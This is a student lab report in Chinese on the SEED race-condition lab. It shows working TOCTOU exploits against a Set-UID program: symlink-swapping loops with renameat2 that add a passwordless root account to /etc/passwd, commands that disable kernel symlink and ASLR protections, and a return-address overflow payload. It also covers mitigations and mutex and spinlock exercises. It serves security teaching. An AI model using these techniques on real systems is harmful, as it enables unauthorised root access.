

Lab3 Race-condition Lab

当多个进程同时访问和操作相同的数据时，就会出现竞争条件，并且执行的结果取决于访问发生的特定顺序。如果特权程序存在竞争条件漏洞，攻击者可以运行一个并行进程来与特权程序“竞争”，意图改变程序的行为。

Ubuntu具有针对竞争条件攻击的内置保护。该方案通过限制谁可以遵循符号链接来工作。

Ubuntu20.04 引入了另一种安全机制，可防止root写入/tmp中属于其他人的文件。在本实验中，我们需要禁用这些保护。使用以下命令来实现：

```
// On Ubuntu 20.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
```

设置Set-UID程序，代码如下：

```
#include <stdio.h>
#include<unistd.h>
int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK))
    {
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}
```

```
$ gcc vulp.c -o vulp
$ sudo chown root vulp
$ sudo chmod 4755 vulp
```

程序将用户输入的字符串附加到临时文件“/tmp/XYZ”的末尾。由于代码以 root 权限运行，因此它会检查真实用户是否实际拥有文件“/tmp/XYZ”的访问权限;这就是调用 access() 函数的目的。

程序一旦确保真正的用户确实有权限，程序将打开文件并将用户输入的字符串写入文件。

此程序中存在“竞态条件”漏洞：由于检查（access）和使用（fopen）之间的窗口，access 函数使用的文件可能与 fopen 函数使用的文件不同，即使它们具有相同的文件名“/tmp/XYZ”。

如果恶意攻击者可以以某种方式使“/tmp/XYZ”成为指向“/etc/shadow”的符号链接，则攻击者可以将用户输入追加到“/etc/shadow”中（请注意，程序以 root权限运行，因此可以覆盖任何文件）。

Task1

在 Ubuntu 活动镜像中有一个用于无密码账户的神奇值，这个神奇值是“U6aMyOwojraho”（第 6 个字符是零，不是字母 O）。如果我们将这个值放入用户条目的密码字段中，当提示输入密码时，我们只需按回车键即可。

我们选择以密码文件 `/etc/passwd` (正常用户无法写入该文件),来利用程序中的竞赛条件漏洞。通过利用该漏洞，我们想在密码文件中添加一条记录，目的是创建一个拥有 root 权限的新用户账户。

但是在 linux 系统中，还存在着应该 `/etc/shadow` 这个文件用于存储密码的 hash 值，如果说 `/etc/passwd` 形式如下（关键是第一部分的 x），这代表密码是存储在影子文件中。

```
root:x:0:0:root:/root:/bin/bash
```

要求绕路，直接改影子文件。

```
sudo nano /etc/passwd
```

写入

```
test:U6aMyOwojraho:0:0:test:/root:/bin/bash
```

```
[12/07/25] seed@VM: ~$ su test
Password:
root@VM: /home/seed#
```

此处 `U6aMyOwojraho` 是空密码的 hash 值，因此可以无密码进入账户。完成后删除。

TASK2

此任务的目标是利用前面所列出的易受攻击的“Set-UID”程序中的竞赛条件漏洞。最终目的是获取根权限。攻击中最关键的一步，即将 `/tmp/XYZ` 指向密码文件的操作，必须在检查与使用之间的窗口期内完成；也就是在易受攻击的程序中的访问和 `fopen` 调用之间进行。

A. 模拟一台运行缓慢的机器 让我们假设这台机器运行速度很慢，并且在调用 `access()` 和 `fopen()` 之间存在 10 秒的间隔时间。为了模拟这种情况，我们在它们之间添加一个 `sleep(10)` 操作。无法修改文件名 `/tmp/XYZ`，因为它在程序中是硬编码的，但可以使用符号链接来更改此名称的含义。

更改 `vuln.c`，重新编译，设为 root 所有的 `setuid` 程序。将 `/tmp/XYZ` 设为指向 `/dev/null` 文件（权限位为 `rw-rw-rw-`）的符号链接。

```
[12/07/25] seed@VM: ~$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Dec  7 09:40 /tmp/XYZ -> /dev/null
```

运行 `vuln`。用户输入为我们写入 `/etc/passwd` 的字符串：

```
test:U6aMyOwojraho:0:0:test:/root:/bin/bash
```

```
[12/07/25] seed@VM:~/.../task1-3$ ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

```
[12/07/25] seed@VM:~/.../task1-3$ ln -sf /etc/passwd /tmp/XYZ
[12/07/25] seed@VM:~/.../task1-3$ su test
```

Password:

```
root@VM:/home/seed/Desktop/Lab3/task1-3#
```

发现可以无密码进入root权限，同时passwd里面也有新的词条。

```
telnetd:x:126:134::/nonexistent:/usr/sbin/nologin
ftp:x:127:135:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
```

```
test:U6aMy0wojraho:0:0:test:/root:/bin/bash[12/07/25] seed@VM:~$ █
```

B. 在之前的任务中，我们通过要求易受攻击的程序放慢速度来“欺骗”，这样我们就可以发起攻击。这绝对不是真正的攻击。在这个任务中，我们将发起真正的攻击。在做任务前，确保从 vulp 程序中删除了 sleep() 语句。竞争条件攻击的典型策略是与目标程序并行运行攻击程序，希望能够在那个时间窗口内完成关键步骤。不幸的是，完美的时机很难实现，所以攻击的成功只是概率。如果窗口很小，攻击成功的概率可能很低，但我们可以多次运行攻击。我们只需要袭击到一次竞争条件窗口。

根据文本hint先完成攻击代码，实现更换链接：

```
//attack_process.c
#include <unistd.h>

int main()
{
    while(1){
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}
```

由于我们需要多次运行易受攻击的程序，因此我们将编写一个程序来自动化此过程。为了避免手动向易受攻击的程序vulp键入输入，我们可以使用输入重定向。

我们的攻击可能需要一段时间才能成功修改密码文件，因此我们需要一种方法来自动检测攻击是否成功。有很多方法可以做到这一点；一种简单的方法是监视文件的时间戳。下面的shell脚本运行ls-l命令，该命令输出有关文件的多条信息，包括上次修改的时间。通过将命令的输出与之前生成的输出进行比较，我们可以判断文件是否已被修改。

```
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$(CHECK_FILE)
new=$(CHECK_FILE)
while [ "$old" == "$new" ] ð Check if /etc/passwd is modified
do
    echo "your input" | ./vulp ð Run the vulnerable program
    new=$(CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

只要更改 target_process.sh 中的输入部分为 test:U6aMy0wojraho:0:0:test:/root:/bin/bash。

```
[12/07/25]seed@VM:~/.../task1-3$ gcc attack_process.c -o attack_process
[12/07/25]seed@VM:~/.../task1-3$ ./attack_process
```

```
[12/07/25]seed@VM:~/.../task1-3$ ./target_process.sh
No permission
No permission
No permission
STOP... The passwd file has been changed
```

编译并运行攻击代码，用脚本重复测试检测，stop之后检测权限，发现可以无密码获得root权限。

```
[12/07/25]seed@VM:~/.../task1-3$ su test
Password:
root@VM:/home/seed/Desktop/Lab3/task1-3#
```

C. 显然，从 root 获取帮助并不是真正的攻击。应该在没有 root 帮助的情况下做到这一点。

攻击程序在删除 /tmp/XYZ（即 unlink()）之后，而在将名称链接到另一个文件（即 symlink()）之前立即切换上下文。删除现有符号链接并创建新符号链接的操作不是原子性的（它涉及两个单独的系统调用）。因此，如果上下文切换发生在中间（即在删除 /tmp/XYZ 之后），并且目标 Set-UID 程序有机会运行其 fopen(fn4, "a+")语句，它将创建一个以root 为所有者的新文件。之后，您的攻击程序将无法再更改 /tmp/XYZ。

基本上，使用 unlink() 和 symlink() 方法，我们的攻击程序中存在竞争条件。因此，当我们试图利用目标程序中的竞争条件时，目标程序可能会意外地“利用”我们攻击程序中的竞争条件，从而击败我们的攻击。

为了解决这个问题，我们需要使 unlink() 和 symlink() 原子化。幸运的是，有一个系统调用可以让我们实现这一点。更准确地说，它允许我们原子地交换两个符号链接。下面的程序首先创建两个符号链接 /tmp/XYZ 和 /tmp/ABC，然后使用 renameat2 系统调用来原子地切换它们。这允许我们在不引入任何竞争条件的情况下更改 /tmp/XYZ 指向的内容。

```

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    return 0;
}

```

因此修改代码如下：

```

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
    unsigned int flags = RENAME_EXCHANGE;
    while(1){

        unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
        unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }
    return 0;
}

```

运行，结果可以看出攻击实现。

```

[12/07/25]seed@VM:~/.../task1-3$ gcc attack_process.c -o attack_process
[12/07/25]seed@VM:~/.../task1-3$ ./attack_process

[12/07/25]seed@VM:~/.../task1-3$ ./target_process.sh
No permission
No permission
STOP... The passwd file has been changed
[12/07/25]seed@VM:~/.../task1-3$ su test
Password:
root@VM:/home/seed/Desktop/Lab3/task1-3#

```

Task3

A. 更好的方法是应用最小权限原则；即，如果用户不需要某些权限，则需要禁用该权限。我们可以使用 `setuid` 系统调用暂时禁用 root 权限，然后在必要时启用它。请使用此方法修复程序中的漏洞，然后重复攻击。

修改如下：

```

#include <stdio.h>

```

```

#include<unistd.h>
int main() {
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    uid_t real_uid = getuid();
    seteuid(real_uid);

    /* get user input */
    scanf("%50s", buffer );

    if(!access(fn, W_OK)){
        sleep(10);
        fp = fopen(fn, "a+");
        if(!fp){
            perror("Open failed!");
            exit(1);
        }

        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
    return 0;
}

```

然而攻击不能成功。因为调用open()时没有root权限打开 /tmp/X 指向的受保护的文件 passwd

```

[12/07/25]seed@VM:~/.../task1-3$ ./target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
No permission
Open failed!: Permission denied
No permission

```

B. Ubuntu 10.10 和更高版本带有一个内置的保护方案，可以防止竞争条件攻击。需要使用以下命令重新打开保护：

```

// On Ubuntu 16.04 and 20.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1

```

重新测试，发现依旧失败。因为当设置粘滞位比特后，只有文件所有者、目录所有者或root用户才能重新命名或删除粘滞目录中的文件。/tmp目录设置了粘滞位比特。当粘滞符号保护开启后，全局可写的粘滞目录（如tmp）中的符号链接的所有者，与跟随者和目录所有者的其中之一相匹配时才能被跟随。本次竞态条件攻击中，漏洞程序以root权限运行，即跟随者为root，/tmp目录的所有者也是root，但是符号

链接所有者时攻击者本身 (seed) 。所以系统不允许程序使用该符号链接。

```
[12/07/25]seed@VM:~/.../task1-3$ ./target_process.sh
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
Open failed!: Permission denied
No permission
No permission
```

Task4

1. make之后跑一下test_currency.py和test_time.py, 描述观察到的现象。

```
[12/07/25]seed@VM:~/.../task4$ python3 test_currency.py
count: 10000000
workers ratio
1          100.00%
2          195.74%
4          233.02%
8          272.72%
16         453.03%
```

单线程时: `sum(my_counter) = maxcounter` (100%) 。多线程时: `sum(my_counter) >`

`maxcounter` (🔄 线程数越多, 超额比例越高。平均每个增量都被重复计数。

```
[12/07/25]seed@VM:~/.../task4$ python3 test_time.py
count: 10000000
workers time(s)
1          0.02
2          0.04
4          0.04
8          0.04
16         0.05
```


多线程并没有加速程序，反而更慢。线程时时间加倍，之后基本保持不变。完全没有体现出多核并行的优势

`sum(my_counter) > maxcounter` 的原因是竞争条件，错误发生在下方代码段：

```
while (shared_counter < maxcounter) {
    ++my_counter;
    ++shared_counter;
}
```

当线程A、B同时读取 `shared_counter` 并判断 `shared_counter < maxcounter` 为真。两个线程都进入循环体，因此最后 `shared_counter` 最终值超出上限。`sum(my_counter)` 计数了2次。而线程变多，更多线程同时竞争同一个变量，更大概率多个线程同时进入临界区。16线程时，极端情况下可能16个线程基于同一个 `shared_counter` 值都进入循环，问题更加严重。

2. 利用mutex用来保证`sum(my_counter)=maxcounter`，使得最后`test_currency.py`的结果为100%。具体增加代码如下：

```
static pthread_mutex_t counter_mutex = PTHREAD_MUTEX_INITIALIZER; // 添加互斥锁

void* worker_func(void* args) {
    int id = *((int*)args);
    uint64_t my_counter = 0;

    while (1) {
        pthread_mutex_lock(&counter_mutex);

        if (shared_counter >= maxcounter) {
            pthread_mutex_unlock(&counter_mutex);
            break;
        }

        ++my_counter;
        ++shared_counter;

        pthread_mutex_unlock(&counter_mutex);
    }
}
```

```
[12/07/25]seed@VM:~/.../task4$ python3 test_currency.py
count: 10000000
workers ratio
1          100.00%
2          100.00%
4          100.00%
8          100.00%
16         100.00%
```

可以看出因为有锁都是100%。因为不会出现同时处理临界条件重复计数的情况。


```
[12/07/25]seed@VM:~/.../task4$ python3 test_time.py
count: 10000000
workers  time(s)
1         0.17
2         0.60
4         0.59
8         0.59
16        0.55
```

因为线程要争夺锁所以时间变慢许多。

3. 利用spinlock用来保证`sum(my_counter)=maxcounter`，使得最后`test_currency.py`的结果为100%。具体增加代码如下：

```
static pthread_mutex_t counter_mutex = PTHREAD_MUTEX_INITIALIZER; // 添加互斥
锁

void* worker_func(void* args) {
    int id = *((int*)args);
    uint64_t my_counter = 0;

    while (1) {
        pthread_mutex_lock(&counter_mutex);

        if (shared_counter >= maxcounter) {
            pthread_mutex_unlock(&counter_mutex);
            break;
        }

        ++my_counter;
        ++shared_counter;

        pthread_mutex_unlock(&counter_mutex);
    }

    pthread_exit((void*)(uintptr_t)my_counter);
}
```

```
[12/07/25]seed@VM:~/.../task4$ python3 test_currency.py
count: 10000000
workers  ratio
1         100.00%
2         100.00%
4         100.00%
8         100.00%
16        100.00%
```

因为有锁结果依旧是100%，不会出现同时处理临界条件重复计数的情况。

```
[12/07/25]seed@VM:~/.../task4$ python3 test_time.py
count: 10000000
workers  time(s)
1         0.12
2         0.42
4         0.74
8         1.49
16        3.38
```

相比之下，自旋锁比互斥锁在单线程时快，无竞争时，自旋锁开销更小。多线程时，自旋锁时间随线程数指数级增长，比互斥锁多很多，此时竞争越激烈，性能越差。因为自旋锁会持续占用CPU核心，所有线程同时竞争，所有核心频繁同步并缓存失效，因此时间暴增。

接着自行实现spinlock并测试。代码如下：

```
typedef struct {
    volatile int lock;
} my_spinlock_t;

static inline void my_spinlock_init(my_spinlock_t *lock) {
    lock->lock = 0;
}

static inline void my_spinlock_init(my_spinlock_t *lock) {
    lock->lock = 0;
}

static inline void my_spinlock_lock(my_spinlock_t *lock) {
    while (__sync_lock_test_and_set(&lock->lock, 1)) {
        while (lock->lock) {
            __mm_pause();
        }
    }
}

static inline void my_spinlock_unlock(my_spinlock_t *lock) {
    __sync_lock_release(&lock->lock);
}

static inline void my_spinlock_destroy(my_spinlock_t *lock) {
}

static my_spinlock_t my_spinlock;

void* worker_func(void* args) {
    int id = *((int*)args);
    uint64_t my_counter = 0;

    while (1) {
        my_spinlock_lock(&my_spinlock);

        if (shared_counter >= maxcounter) {
            my_spinlock_unlock(&my_spinlock);
        }
    }
}
```

```

        break;
    }

    ++my_counter;
    ++shared_counter;

    my_spinlock_unlock(&my_spinlock);
}

pthread_exit((void*)(uintptr_t)my_counter);
}

```

实现spinlock功能，运行脚本并测试。

```

[12/07/25]seed@VM:~/.../task4$ python3 test_currency.py
count: 10000000
workers ratio
1          100.00%
2          100.00%
4          100.00%
8          100.00%
16         100.00%

```

正常实现了spinlock的功能，结果是100%，不会出现同时处理临界条件重复计数的情况。

```

[12/07/25]seed@VM:~/.../task4$ python3 test_time.py
count: 10000000
workers time(s)
1          0.09
2          0.46
4          0.91
8          2.14
16         4.58

```

依旧自旋锁比互斥锁在单线程时快。多线程时，自旋锁时间随线程数指数级增长。

以上结果可以看出spinlock的功能已实现。

TASK5

这里我们有一个程序task5.c，核心是函数vuln和check，vuln将一个文件的全部内容存入一个char数组buf中，buf的大小为256字节，因此为了防止buffer overflow，在写入之前使用check检查了文件的大小，若文件大小大于255字节，则其拒绝写入。以下是源代码。

```

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

```

```

void showflag() { printf("flag{race_condition_succeed!}\n"); }

void vuln(char* file) {
    char buf[256];

    int number;
    int index = 0;

    int fd = open(file, O_RDONLY);
    if (fd == -1) {
        perror("open file failed!!");
        return;
    }
    while (1) {
        number = read(fd, buf + index, 128);
        if (number <= 0) {
            break;
        }
        index += number;
    }
}

void check(char* file) {
    struct stat tmp;
    stat(file, &tmp);
    if (tmp.st_size > 255) {
        puts("file size is too large!!");
        exit(0);
    }
}

int main(int argc, char* argv[argc]) {

    if (argc == 2) {
        check(argv[1]);
        vuln(argv[1]);
    }
    else if (argc == 3) {
        if (strcmp(argv[2], "show_info") == 0) {
            void (*showflag_ptr)() = showflag;
            printf("The address of the showflag function: %p\n", *
(&showflag_ptr));
            check(argv[1]);
            vuln(argv[1]);
        }
        else {
            puts("Usage ./prog <filename> show_info or ./prog <filename>");
        }
    }
    else {
        puts("Usage ./prog <filename> show_info or ./prog <filename>");
    }
}

```

因此漏洞在check(file)和vuln(file)之间, 要让 buf 溢出, 覆盖返回地址, 将返回地址覆盖为 showflag() 函数的地址, 函数正常返回时跳转到 showflag()。

用下方命令关闭地址随机化，因此可以直接检查这些函数的地址：

```
sudo sysctl -w kernel.randomize_va_space=0
```

按照程序内容先查看showflag () 的地址。

```
echo A> /tmp/small  
./task5 /tmp/small show_info
```

```
[12/14/25]seed@VM:~/.../task5$ echo A> /tmp/small  
[12/14/25]seed@VM:~/.../task5$ ./task5 /tmp/small show_info  
The address of the showflag function: 0x55555555229
```

根据得到的地址构建 payload。

```
import struct  
  
offset = 280  
addr=0x55555555229  
  
payload = b"A" * offset + struct.pack("<Q", addr)  
payload += b"C" * 100  
  
with open("/tmp/big", "wb") as f:  
    f.write(payload)  
  
print("big size =", len(payload))
```

big size = 388

通过不断更改/tmp/target的链接文件来创造能够躲过文件大小检查的时机。

```
ln -sf /tmp/small /tmp/target
```

```
while true; do  
    ln -sf /tmp/small /tmp/target  
    ln -sf /tmp/big /tmp/target  
done
```

用链接文件来不断运行./task5来强行攻击。

```
while true; do  
    ./task5 /tmp/target  
done
```

可以看出偶尔会成功。

```
file size is too large!!  
file size is too large!!  
file size is too large!!  
file size is too large!!  
file size is too large!!  
flag{race_condition_succeed!}  
Segmentation fault  
file size is too large!!  
file size is too large!!
```